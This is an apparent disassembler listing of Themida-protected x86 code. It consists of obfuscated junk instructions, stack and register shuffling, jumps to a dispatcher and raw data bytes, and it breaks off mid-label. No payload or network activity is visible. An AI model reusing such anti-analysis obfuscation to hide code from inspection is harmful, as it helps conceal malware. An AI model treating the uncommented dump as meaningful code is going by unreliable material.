; --------------------------------------------------------------------------- loc_5ADE6B: ; CODE XREF: Themida_:005AB13Fj mov ebp, 125158D4h dec ebp add ebp, 651B3189h not ebp or ebp, 6632DCDh shl ebp, 3 jmp loc_5A74B9 ; --------------------------------------------------------------------------- db 89h dd 0BB532404h, 2C827485h, 271ECB81h, 0D3F728EDh, 6805CB81h dd 8B0F507Ah, 0FFFF327Ch, 0F04EBC1h, 0FFAD5985h, 30E9FFh dd 685DFFFFh, 7A31h, 55240C89h, 174C06B9h, 28C18104h, 0F164942h dd 0FF7E928Ch, 61E181FFh, 0F151F1Eh, 0FEBB5788h, 0AFC181FFh dd 0F25A052h, 0FEBAAE82h, 29C981FFh, 0F4B6E61h, 0FEA50A8Fh dd 0BC981FFh, 0E96C7750h, 0FFFECA69h ; --------------------------------------------------------------------------- loc_5ADEFC: ; CODE XREF: Themida_:005A40C8j mov [esp], edi mov edi, 7F912A4Dh neg edi sub edi, 6AA564E4h add ebx, edi mov edi, [esp] push edx mov edx, esp jmp loc_59BCCE ; --------------------------------------------------------------------------- loc_5ADF19: ; CODE XREF: Themida_:0059C797j ; Themida_:005A52D4j xor ecx, edx xor edx, ecx xor ecx, edx xchg ebx, edx not ebx xchg ebx, edx jmp loc_5ADBFF ; --------------------------------------------------------------------------- loc_5ADF2A: ; CODE XREF: Themida_:005A15EEj add al, 1Bh mov edx, [esp] add esp, 4 add al, 0CEh sub al, dl sub al, 0CEh push ecx mov cl, 72h sub al, cl pop ecx push ecx push ax mov al, 2 mov cl, al pop ax push edx mov dl, 0C2h sub dl, 0A1h jmp loc_5A8077 ; --------------------------------------------------------------------------- loc_5ADF52: ; CODE XREF: Themida_:005ACC3Ej xor edx, 8B21CDFFh push ebp mov ebp, edx push esi mov esi, ebp mov eax, esi pop esi push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] jmp loc_5AD3E7 ; --------------------------------------------------------------------------- loc_5ADF70: ; CODE XREF: Themida_:005A5CE4j pop esi sub ecx, 3419449Dh sub ecx, 23196CB5h sub ecx, edi add ecx, 23196CB5h jmp loc_5A0E43 ; --------------------------------------------------------------------------- loc_5ADF8A: ; CODE XREF: Themida_:loc_5AE597j xor ebx, 58616B55h jmp loc_5A59A4 ; --------------------------------------------------------------------------- loc_5ADF95: ; CODE XREF: Themida_:005A74ACj add esp, 4 shr edx, 3 shr edx, 5 add edx, 0BE6C717Ah add ecx, edx mov edx, [esp] add esp, 4 and eax, ecx pop ecx shr eax, 0Ch xor eax, ecx xor eax, esi xor esi, eax xor eax, esi xor esi, ebx xor ebx, esi xor esi, ebx xor ebx, ecx xor ecx, ebx jmp loc_5A9FC9 ; --------------------------------------------------------------------------- loc_5ADFCC: ; CODE XREF: Themida_:005A8449j pop edx xor edx, 209165C9h sub edx, 5DA67AECh jmp loc_599A80 ; --------------------------------------------------------------------------- loc_5ADFDE: ; CODE XREF: Themida_:005A2703j push esp pop ebx jmp loc_5ADD92 ; --------------------------------------------------------------------------- loc_5ADFE5: ; CODE XREF: Themida_:0059B328j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADFEA: ; CODE XREF: Themida_:00598FDFj mov edi, 4 mov ebp, edi pop edi add eax, 0F9149BFh add eax, 3A752C9Ah add eax, ebp sub eax, 3A752C9Ah jmp loc_59FE2B ; --------------------------------------------------------------------------- dd 0F087BB53h, 0D80112D9h, 0A0B9E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE016: ; CODE XREF: Themida_:0059F4E7j xor ecx, [esp] pop esp add ebp, 261A5F41h push 425Ah mov [esp], ebx mov ebx, esp push ebp mov ebp, 8947F7Ch and ebp, 3F891131h add ebp, 2A43308Ch sub ebp, 66CD2761h sub ebp, 0CBF61A57h add ebx, ebp pop ebp sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A1B22 ; --------------------------------------------------------------------------- loc_5AE057: ; CODE XREF: Themida_:0059CF1Dj ; Themida_:005AE927j mov [esp], ebp mov ebp, 672C0C02h jmp loc_59F00E ; --------------------------------------------------------------------------- loc_5AE064: ; CODE XREF: Themida_:0059EA92j add cl, al jmp loc_59E01C ; --------------------------------------------------------------------------- db 81h dd 4C4h, 245C0100h, 51505B04h, 0E97D92B9h, 0A5E9E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE082: ; CODE XREF: Themida_:005ADA73j add esp, 4 jmp loc_5A4702 ; --------------------------------------------------------------------------- dw 53ADh dd 326E84BBh, 81D3F728h, 3C6B5DEBh, 68B0E9A9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE09E: ; CODE XREF: Themida_:005AECCAj push eax push edx mov edx, 29377812h mov eax, edx pop edx not eax or eax, 309E022Bh jp loc_59EB36 shr eax, 2 jmp loc_5AAC2D ; --------------------------------------------------------------------------- loc_5AE0BD: ; CODE XREF: Themida_:0059D665j pop dword ptr [esp] jmp loc_5A9B3B ; --------------------------------------------------------------------------- loc_5AE0C5: ; CODE XREF: Themida_:005A9BCEj push edx jmp loc_5AE469 ; --------------------------------------------------------------------------- loc_5AE0CB: ; CODE XREF: Themida_:005AB6DBj sub eax, 151EA888h sub ecx, eax pop eax jmp loc_5ACB7C ; --------------------------------------------------------------------------- loc_5AE0D8: ; CODE XREF: Themida_:005ABFC6j push edi mov edi, 33985F51h sub ebp, edi pop edi pop eax push ebp jmp loc_5A0391 ; --------------------------------------------------------------------------- loc_5AE0E8: ; CODE XREF: Themida_:005ABE49j inc edi sub edi, 7CED75E3h add esi, edi pop edi sub ecx, esi pop esi add ebp, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 xchg ebp, [esp] pop esp pop ebx xchg eax, esi jmp loc_59D359 ; --------------------------------------------------------------------------- loc_5AE10E: ; CODE XREF: Themida_:0059C5FDj sub esp, 4 mov [esp], eax mov eax, 49302DFAh jmp loc_5A5B1A ; --------------------------------------------------------------------------- loc_5AE121: ; CODE XREF: Themida_:005A0F4Aj push edi push esp jmp loc_5A8B05 ; --------------------------------------------------------------------------- loc_5AE128: ; CODE XREF: Themida_:005A7EC3j jmp loc_59AA59 ; --------------------------------------------------------------------------- loc_5AE12D: ; CODE XREF: Themida_:005AEA10j shr ebx, 3 jmp loc_5A994C ; --------------------------------------------------------------------------- loc_5AE135: ; CODE XREF: Themida_:005A67CFj push 76F8h mov [esp], esi mov esi, 32043A1Dh push ebx mov ebx, 3DD30B02h jmp loc_5A86A6 ; --------------------------------------------------------------------------- db 83h, 0E9h, 4 dd 5C240C87h, 0E9242C89h, 0FFFFED01h ; --------------------------------------------------------------------------- loc_5AE15C: ; CODE XREF: Themida_:0059E296j mov eax, [esp] jmp loc_5A6787 ; --------------------------------------------------------------------------- loc_5AE164: ; CODE XREF: Themida_:005A7871j inc ebx jno loc_59CF81 add ebx, 583F9CBFh jmp loc_59E454 ; --------------------------------------------------------------------------- dw 0C1C6h db 0D5h ; --------------------------------------------------------------------------- loc_5AE179: ; CODE XREF: Themida_:0059A3DCj mov edi, [esp] add esp, 4 push ebp mov ebp, 4 jmp loc_5A6993 ; --------------------------------------------------------------------------- dw 0CE9h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE18F: ; CODE XREF: Themida_:005AAAA2j mov esp, [esp] mov [esp], eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE19A: ; CODE XREF: Themida_:005A9011j push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr ecx, 6 push 74ABh mov [esp], edx push 6199h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_5A1D04 ; --------------------------------------------------------------------------- db 68h, 4, 0 dd 0E9590000h, 915h ; --------------------------------------------------------------------------- loc_5AE1E0: ; CODE XREF: Themida_:005A9218j jmp loc_59DCB2 ; --------------------------------------------------------------------------- loc_5AE1E5: ; CODE XREF: Themida_:005A2306j mov [esp], edx mov edx, 6F12211Fh add edi, edx pop edx push edx jmp loc_5A177D ; --------------------------------------------------------------------------- dw 0DDBFh dd 0E9EEBA22h, 0FFFF0AFCh, 50242C8Bh, 405E089h, 51000000h dd 4B9h, 0E9C80100h, 0FFFF31D0h ; --------------------------------------------------------------------------- loc_5AE218: ; CODE XREF: Themida_:005A37BAj mov [esp], edx jmp loc_5A77D1 ; --------------------------------------------------------------------------- loc_5AE220: ; CODE XREF: Themida_:0059C40Aj ; Themida_:0059CA61j shl esi, 2 jns loc_5A9253 push 1768h mov [esp], ecx jmp loc_5AF040 ; --------------------------------------------------------------------------- dw 4A5Eh ; --------------------------------------------------------------------------- loc_5AE238: ; CODE XREF: Themida_:005AEF06j mov [esp], ebp push dword ptr [esp+4] jmp loc_5AB1BA ; --------------------------------------------------------------------------- loc_5AE244: ; CODE XREF: Themida_:005AAE39j pop esp sub esp, 2 mov [esp], cx mov cl, 6Fh push edx push ebx mov bh, 27h shl bh, 1 jmp loc_5AE370 ; --------------------------------------------------------------------------- loc_5AE25C: ; CODE XREF: Themida_:0059B4E3j mov [esp], edx mov edx, 417E1182h or ecx, edx pop edx sub ecx, 16DB5201h sub ebx, ecx jmp loc_5A0D27 ; --------------------------------------------------------------------------- loc_5AE274: ; CODE XREF: Themida_:005A9B0Aj pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 44495209h neg ebp push esi mov esi, 0FFFFFFFFh jmp loc_598965 ; --------------------------------------------------------------------------- db 4Fh, 56h, 0BEh dd 0EB3FEC42h, 295EF701h, 81585FFDh, 2C5h, 256DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE2AE: ; CODE XREF: Themida_:0059EC76j jg loc_599407 jmp loc_59C082 ; --------------------------------------------------------------------------- loc_5AE2B9: ; CODE XREF: Themida_:005A8BA5j mov [esp], ebp mov ebp, 4 add edx, 753F1F96h sub edx, ebp sub edx, 753F1F96h mov ebp, [esp] jmp loc_5A4302 ; --------------------------------------------------------------------------- loc_5AE2D7: ; CODE XREF: Themida_:005A2DC0j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_5AB7DE ; --------------------------------------------------------------------------- loc_5AE2ED: ; CODE XREF: Themida_:005AC0D2j add ebp, 4 xchg ebp, [esp] pop esp push 44C0h mov [esp], ebx push eax mov eax, 54CA26BFh jmp loc_5A0DB8 ; --------------------------------------------------------------------------- db 0FFh dd 0ADE93C77h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE30F: ; CODE XREF: Themida_:00599402j push ebp mov ebp, 54696268h jmp loc_59DA57 ; --------------------------------------------------------------------------- loc_5AE31A: ; CODE XREF: Themida_:005ACF7Bj mov ecx, esp push ebp mov ebp, 627717F2h jmp loc_5ACDF0 ; --------------------------------------------------------------------------- loc_5AE327: ; CODE XREF: Themida_:005ABB55j xor ebx, edi pop edi and ecx, ebx pop ebx add ecx, 0FFFFFDB0h jmp loc_5A224C ; --------------------------------------------------------------------------- loc_5AE338: ; CODE XREF: Themida_:005A7944j add esp, 4 add al, bh pop ebx sub al, bl jmp loc_59F17A ; --------------------------------------------------------------------------- dd 4BA4BA52h, 0C2E91C74h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE353: ; CODE XREF: Themida_:0059E2C7j pop dword ptr [esp] mov esp, [esp] bswap eax push 4F6Ch mov [esp], eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE368: ; CODE XREF: Themida_:005AA334j add esp, 4 jmp loc_59E5D7 ; --------------------------------------------------------------------------- loc_5AE370: ; CODE XREF: Themida_:005AE257j js loc_59BA76 sub bh, 3Ch push ecx mov ch, bh mov dl, ch pop ecx pop ebx sub dl, 0C2h add dl, 24h add dl, 1 add dl, 0B2h shl dl, 7 xor dl, 0D6h jmp loc_5A9557 ; --------------------------------------------------------------------------- loc_5AE397: ; CODE XREF: Themida_:005A8C01j xor ebx, 0AB6AB3BBh add ecx, ebx pop ebx add ecx, ebp push edi mov edi, 48883BFFh sub edi, 3AB7846h add edi, 0F5205C66h sub ecx, edi pop edi pop ebp push ebp mov ebp, 5A753DF2h shl ebp, 2 push edx push ecx mov ecx, 4DC570E8h mov edx, ecx jmp loc_59DD9A ; --------------------------------------------------------------------------- loc_5AE3CF: ; CODE XREF: Themida_:005A591Cj add ebx, 75AF7CAEh and ebx, 64F91E7Ch add ebx, 288F60F0h sub esp, 4 mov [esp], esi push edx mov edx, 0B627CB7h add edx, 110275DAh not edx and edx, 3C260183h ja loc_59A310 inc edx jo loc_5AE610 jmp loc_59D1D8 ; --------------------------------------------------------------------------- dd 2414F751h, 55C98159h, 814D5F7Ch, 0F24E0FC1h, 0FFCD2992h dd 57592434h, 0C781E789h, 4, 0FF31D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE435: ; CODE XREF: Themida_:005A18EFj mov [esp], ebx jmp loc_59DBB6 ; --------------------------------------------------------------------------- db 64h, 8Fh, 2 dd 0FE9F47E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE445: ; CODE XREF: Themida_:005A655Cj mov [esp], dx mov dl, 34h xor bl, dl mov dx, [esp] add esp, 2 push ebx not byte ptr [esp] jmp loc_59B606 ; --------------------------------------------------------------------------- loc_5AE460: ; CODE XREF: Themida_:0059D9DCj pop dword ptr [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE469: ; CODE XREF: Themida_:005AE0C6j push 56362FD7h pop edx push esi mov esi, 37136617h jmp loc_59C8FB ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 8630E668h, 2434FF5Ah, 8324348Bh, 545204C4h dd 0FEE6E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE495: ; CODE XREF: Themida_:005AE8BEj push dword ptr [esp] pop eax add esp, 4 pop ecx jmp loc_5A1970 ; --------------------------------------------------------------------------- loc_5AE4A5: ; CODE XREF: Themida_:005AA7CDj neg edx add edx, 2F52674Fh jmp loc_59FDEF ; --------------------------------------------------------------------------- loc_5AE4B2: ; CODE XREF: Themida_:0059B5A3j add edx, 4 push edi mov edi, 4 add edx, edi mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] push 6B7Ah mov [esp], ebx push dword ptr [esp+4] pop ebx jmp loc_59FE6C ; --------------------------------------------------------------------------- loc_5AE4DE: ; CODE XREF: Themida_:005A3A21j shr dh, 6 js loc_5A7920 jmp loc_5A44FD ; --------------------------------------------------------------------------- dd 2474FF53h, 241C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp jmp loc_5A08B6 ; --------------------------------------------------------------------------- loc_5AE510: ; CODE XREF: Themida_:0059E9D0j or ecx, 5DBE036Ch inc ecx add ecx, 0A8C1187Ah sub esi, ecx jmp loc_5A4A22 ; --------------------------------------------------------------------------- loc_5AE524: ; CODE XREF: Themida_:005AA604j add edx, ebx pop ebx add edx, 4 jmp loc_5A215C ; --------------------------------------------------------------------------- db 66h dd 0E924248Bh, 0FFFF81D7h, 405h, 4C08300h, 5C240487h, 33243C31h dd 3C31243Ch, 2434FF24h, 4C4835Eh, 0FF1771E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE559: ; CODE XREF: Themida_:005AEB8Aj pop ecx pop dword ptr [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE56A: ; CODE XREF: Themida_:0059B831j pop esi and eax, ecx jmp loc_5ACAE1 ; --------------------------------------------------------------------------- loc_5AE572: ; CODE XREF: Themida_:005A53ECj xchg edi, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- dd 24048B66h, 5BE95455h db 6Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE58F: ; CODE XREF: Themida_:005AA2F8j pop eax add ebx, edi jmp loc_59AF5D ; --------------------------------------------------------------------------- loc_5AE597: ; CODE XREF: Themida_:0059FBA7j jmp loc_5ADF8A ; --------------------------------------------------------------------------- loc_5AE59C: ; CODE XREF: Themida_:loc_59FE36j ; Themida_:005AAF05j add eax, edx jmp loc_5A6DB5 ; --------------------------------------------------------------------------- db 66h dd 0D1F76649h, 3CE98166h, 0F1816634h, 1667182h, 80E959CEh dd 81FFFFB8h, 4C4h, 6C36E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE5C6: ; CODE XREF: Themida_:005AC647j push 652Ah mov [esp], ebx push dword ptr [esp+4] jmp loc_598EBA ; --------------------------------------------------------------------------- db 5Dh dd 3C8BF989h, 4C48324h, 15CFED81h, 0CD292320h, 1623BF57h dd 0F74F3A0Fh, 0A1FEE9D7h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AE5F6: ; CODE XREF: Themida_:0059D322j mov eax, edx pop edx add esi, eax pop eax push edx push esp pop edx push esi mov esi, 4 sub edx, 77427A6h jmp loc_5A086D ; --------------------------------------------------------------------------- loc_5AE610: ; CODE XREF: Themida_:005AE405j sub esp, 4 mov [esp], edi push ecx jmp loc_59D9CF ; --------------------------------------------------------------------------- db 54h dd 8324348Bh, 756804C4h, 0E9000008h, 0FFFF4795h ; --------------------------------------------------------------------------- loc_5AE630: ; CODE XREF: Themida_:00598FE5j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor eax, esi xor esi, eax xor eax, esi sub esp, 4 mov [esp], edi jmp loc_5ACBDD ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 6602EC83h, 0B0240489h, 66C7205Bh, 8124048Bh dd 2C4h, 2EC8100h, 66000000h, 0B1240C89h, 0CF7AE901h, 875EFFFFh dd 0E95C243Ch, 0FFFFB811h ; --------------------------------------------------------------------------- loc_5AE68C: ; CODE XREF: Themida_:005AC6D8j xor ebp, 0EDCB5072h add esi, ebp jmp loc_5A25F9 ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 6Dh dd 41FFFF2Dh, 0FFA64DE9h, 81E589FFh, 4C5h, 5EBA5200h, 8160B753h dd 0B4270BEAh, 42D2F714h, 169AEA81h, 0EAC157ACh, 33C28104h dd 1FA3AF4h, 2C875AD5h, 0E9555C24h, 0FFFF17A9h, 3068C381h dd 0B8E9315Eh db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE6E3: ; CODE XREF: Themida_:005AF4F7j push esp pop eax push edx push eax push 55872A44h pop eax add eax, 21152719h jmp loc_5AD4AD ; --------------------------------------------------------------------------- loc_5AE6F7: ; CODE XREF: Themida_:0059C7C4j xchg ebp, ebx inc ebp xchg ebp, ebx or ebx, 2FE00B9Fh jmp loc_5A2F81 ; --------------------------------------------------------------------------- db 80h dd 48E97ECEh db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE70F: ; CODE XREF: Themida_:005A44A7j ; Themida_:005A935Bj ... mov esi, 46E03866h add ebx, 30101C64h add ebx, esi jmp loc_59BFA3 ; --------------------------------------------------------------------------- loc_5AE721: ; CODE XREF: Themida_:005A2A52j mov edi, 800h mov esi, edi pop edi and eax, esi pop esi jmp loc_59B23A ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 6624248Bh, 9C240431h, 0FE9C4BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE741: ; CODE XREF: Themida_:0059FF5Fj inc edx add edx, 4EED0F75h add edx, 0FDB2A38Fh add esi, edx pop edx mov edx, esi pop esi sub esi, 1305770Ch jmp loc_599C57 ; --------------------------------------------------------------------------- loc_5AE75F: ; CODE XREF: Themida_:loc_5AA74Aj mov cx, [esp] push 25B3h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5A202A ; --------------------------------------------------------------------------- dw 0C581h dd 20760BFDh, 0FF95A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE785: ; CODE XREF: Themida_:0059F0CAj or edi, edx pop edx shl edi, 3 push esi mov esi, 3ACA5C50h and esi, 16F77C4Eh xor esi, 7C4D0649h add esi, 1C39495Bh sub edi, esi jmp loc_599D2D ; --------------------------------------------------------------------------- dw 9268h dd 0E900002Ah, 0FFFFF6D3h, 330CE95Ch, 0FD68FFFFh, 5B3A8776h dd 0D6F7F387h, 0EB81F387h, 3ACB7227h, 37BEB81h, 0D93157B9h dd 241C8B5Bh, 4C481h, 31E90000h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE7E3: ; CODE XREF: Themida_:00599158j ; Themida_:005A6075j add esp, 4 jmp loc_5A164B ; --------------------------------------------------------------------------- loc_5AE7EB: ; CODE XREF: Themida_:0059E3E3j push esi jmp loc_5AB10D ; --------------------------------------------------------------------------- loc_5AE7F1: ; CODE XREF: Themida_:005A0CF2j add esi, 22FB569Bh add esi, 99CF4673h jmp loc_5A330D ; --------------------------------------------------------------------------- loc_5AE802: ; CODE XREF: Themida_:005A5645j mov [esp], eax jmp loc_5999B3 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 58E3E956h, 34FFFFFFh, 240C8B24h, 8104C483h dd 4ECh, 241C8900h, 241C8B54h, 4C481h, 64E90000h, 0E9FFFF78h dd 0FFFEC350h, 0B4002B2Dh, 0BD2EE96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE846: ; CODE XREF: Themida_:005A0532j mov [esp], eax jmp loc_5AD775 ; --------------------------------------------------------------------------- loc_5AE84E: ; CODE XREF: Themida_:005A1E92j push eax jmp loc_599A36 ; --------------------------------------------------------------------------- loc_5AE854: ; CODE XREF: Themida_:0059DAF0j add edx, esi jmp loc_59E3F5 ; --------------------------------------------------------------------------- loc_5AE85B: ; CODE XREF: Themida_:005A750Bj push 49B44248h pop ebx neg ebx js loc_5A852D shr ebx, 5 dec ebx jle loc_5ACE0E loc_5AE873: ; CODE XREF: Themida_:005A6E75j sub edx, 7A700002h sub ebp, edx pop edx add ebp, 433C0519h or ebp, 4BF5051Dh and ebp, 3747B4Fh shr ebp, 3 xor ebp, 6D0E8211h xor ecx, ebp pop ebp sub [eax], ecx pop ecx jmp loc_59838C ; --------------------------------------------------------------------------- dw 0E943h dd 0FFFFEBF0h ; --------------------------------------------------------------------------- loc_5AE8A8: ; CODE XREF: Themida_:005A566Dj ; Themida_:005AECC4j add esi, 1A0010A6h add ebx, esi jmp loc_5A133C ; --------------------------------------------------------------------------- loc_5AE8B5: ; CODE XREF: Themida_:005A8350j mov bl, cl push dword ptr [esp] pop ecx add esp, 4 jmp loc_5AE495 ; --------------------------------------------------------------------------- db 0F7h dd 0F58145D5h, 0B336FB8Dh, 815DEF89h, 0DC5BC4C5h, 32C58172h dd 2904B135h, 34E953FDh, 0F7FFFFC4h, 0CA0FE9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE8EA: ; CODE XREF: Themida_:005AABEEj mov esi, [esp] add esp, 4 push 3185h jmp loc_5A9DC6 ; --------------------------------------------------------------------------- aS_8 db '^ιά',9,0 align 10h loc_5AE900: ; CODE XREF: Themida_:005A247Fj add eax, 4CBE5BD6h jle loc_5A138F xor eax, 17D19C7h jmp loc_5A3F09 ; --------------------------------------------------------------------------- loc_5AE915: ; CODE XREF: Themida_:005AEAD8j or edx, 5364234Bh ja loc_5A5667 and edx, 4D2E72A6h jmp loc_5AE057 ; --------------------------------------------------------------------------- db 88h, 0DCh ; --------------------------------------------------------------------------- loc_5AE92E: ; CODE XREF: Themida_:005A6C84j xor ebx, ebp jmp loc_5A8C0B ; --------------------------------------------------------------------------- loc_5AE935: ; CODE XREF: Themida_:0059FD17j xor edi, 7A376811h sub edi, 53F41A9Dh jmp loc_59E1D8 ; --------------------------------------------------------------------------- loc_5AE946: ; CODE XREF: Themida_:005AB84Fj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59B0B3 ; --------------------------------------------------------------------------- loc_5AE959: ; CODE XREF: Themida_:005ABC90j jmp loc_5A9216 ; --------------------------------------------------------------------------- loc_5AE95E: ; CODE XREF: Themida_:005A3ECEj sub eax, ebx jmp loc_5A4BE2 ; --------------------------------------------------------------------------- loc_5AE965: ; CODE XREF: Themida_:0059FAEAj push ebx jmp loc_5AD0C8 ; --------------------------------------------------------------------------- loc_5AE96B: ; CODE XREF: Themida_:0059F777j push esp jmp loc_59BA9C ; --------------------------------------------------------------------------- loc_5AE971: ; CODE XREF: Themida_:0059B6C4j push ebp mov ebp, 1BE84A55h jmp loc_5A6B46 ; --------------------------------------------------------------------------- loc_5AE97C: ; CODE XREF: Themida_:0059F01Dj pop edi sub ebx, 57FF6050h add ebx, edi add ebx, 57FF6050h pop edi sub edi, ebx push dword ptr [esp] pop ebx add esp, 4 add ebx, edi jmp loc_59B40B ; --------------------------------------------------------------------------- aN1Qhch db '1ΨQhch',0 dd 243C8900h, 0C2A25168h, 243C8B63h, 4C481h, 0E9570000h dd 0FFFEC2E0h, 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFE99C0h dd 68243C89h, 388Ch, 0FF624FE9h, 0E68956FFh, 4C681h, 0EE830000h dd 24348704h, 8924248Bh, 0E189240Ch, 4C181h, 3680000h dd 89000065h, 0FDE92434h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AEA03: ; CODE XREF: Themida_:0059C3DAj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AEA08: ; CODE XREF: Themida_:005A1BAAj mov ecx, 25E47F66h or ebx, ecx pop ecx jmp loc_5AE12D ; --------------------------------------------------------------------------- loc_5AEA15: ; CODE XREF: Themida_:005A0C0Aj push 4A4715D4h mov ecx, [esp] push esi jmp loc_5AF3CB ; --------------------------------------------------------------------------- loc_5AEA23: ; CODE XREF: Themida_:005A0AA4j add ebx, 4 xchg ebx, [esp] pop esp sub eax, edi pop edi add eax, edx push 60A8h mov [esp], edx push eax push 731B05C3h pop eax add eax, 0AA071230h jmp loc_5A3EB1 ; --------------------------------------------------------------------------- loc_5AEA48: ; CODE XREF: Themida_:005A7563j jz loc_5A5EB6 shl ebx, 1 jnp loc_59B7E4 push eax push ecx push 3DE5712Fh pop ecx jmp loc_5A6822 ; --------------------------------------------------------------------------- db 52h dd 72E95A54h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AEA6B: ; CODE XREF: Themida_:0059A904j sub ch, 45h pop edx add dh, ch pop ecx push dword ptr [esp] mov eax, [esp] add esp, 4 push 616Ch mov [esp], edx mov edx, esp add edx, 4 push eax mov eax, 6A5F66F0h neg eax ja loc_5A7D10 jmp loc_5A1F3B ; --------------------------------------------------------------------------- dw 0C281h dd 0EE508F90h, 0E95AD031h, 0FFFF3567h ; --------------------------------------------------------------------------- loc_5AEAAC: ; CODE XREF: Themida_:0059FBADj xor ebx, 58616B55h jmp loc_5A8122 ; --------------------------------------------------------------------------- loc_5AEAB7: ; CODE XREF: Themida_:005A409Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AEABC: ; CODE XREF: Themida_:0059FF40j sub esi, 42150DA5h xor edx, esi pop esi jmp loc_599EA3 ; --------------------------------------------------------------------------- loc_5AEACA: ; CODE XREF: Themida_:005ABA54j pop eax jmp loc_59BB65 ; --------------------------------------------------------------------------- loc_5AEAD0: ; CODE XREF: Themida_:005A28E9j not edx and edx, 20E166D1h jz loc_5AE915 or edx, 5364234Bh ja loc_59AC24 and edx, 4D2E72A6h jmp loc_5A4BDB ; --------------------------------------------------------------------------- loc_5AEAF5: ; CODE XREF: Themida_:005AC26Aj add eax, ecx pop ecx jmp loc_598B4C ; --------------------------------------------------------------------------- loc_5AEAFD: ; CODE XREF: Themida_:005AC675j pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AEB0B: ; CODE XREF: Themida_:0059F1EBj pop ebx sub bl, ch mov cx, [esp] add esp, 2 movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5A623F ; --------------------------------------------------------------------------- loc_5AEB2A: ; CODE XREF: Themida_:005AB2B5j mov eax, 0 add eax, edx add dword ptr [eax], 1 pop eax jmp loc_5A9606 ; --------------------------------------------------------------------------- db 89h, 0F3h, 5Eh dd 4954EB81h, 0F4B7B66h, 0FF1F2489h, 0EEC381FFh, 0F0A7672h dd 0FF97FC81h, 0C614E9FFh, 248BFFFEh, 4FFE924h, 0C588FFFFh ; --------------------------------------------------------------------------- loc_5AEB68: ; CODE XREF: Themida_:005AB91Aj mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ecx push dword ptr [esp+4] jmp loc_5AE559 ; --------------------------------------------------------------------------- loc_5AEB8F: ; CODE XREF: Themida_:005A00E6j pop ebp push esi push edi jmp loc_59FB20 ; --------------------------------------------------------------------------- loc_5AEB97: ; CODE XREF: Themida_:005A096Cj push ecx mov ecx, 3C91C503h add ebp, ecx pop ecx xchg esi, ebp xchg ecx, esi not ecx push esi push ecx pop esi pop ecx xchg esi, ebp add ebp, 8A7C5562h push ebp mov ebp, 5EAF2219h add ebx, ebp jmp loc_5A01CC ; --------------------------------------------------------------------------- loc_5AEBBF: ; CODE XREF: Themida_:005A20DDj dec edi sub esp, 4 jmp loc_5A32D0 ; --------------------------------------------------------------------------- loc_5AEBCB: ; CODE XREF: Themida_:00598F63j add eax, 2B02D5Bh add eax, ebx sub eax, 2B02D5Bh add eax, 38285947h jmp loc_5AAC15 ; --------------------------------------------------------------------------- db 0E9h, 52h, 0C2h dd 7C29FFFEh, 0E95F0C24h, 0FFFF8708h ; --------------------------------------------------------------------------- loc_5AEBF0: ; CODE XREF: 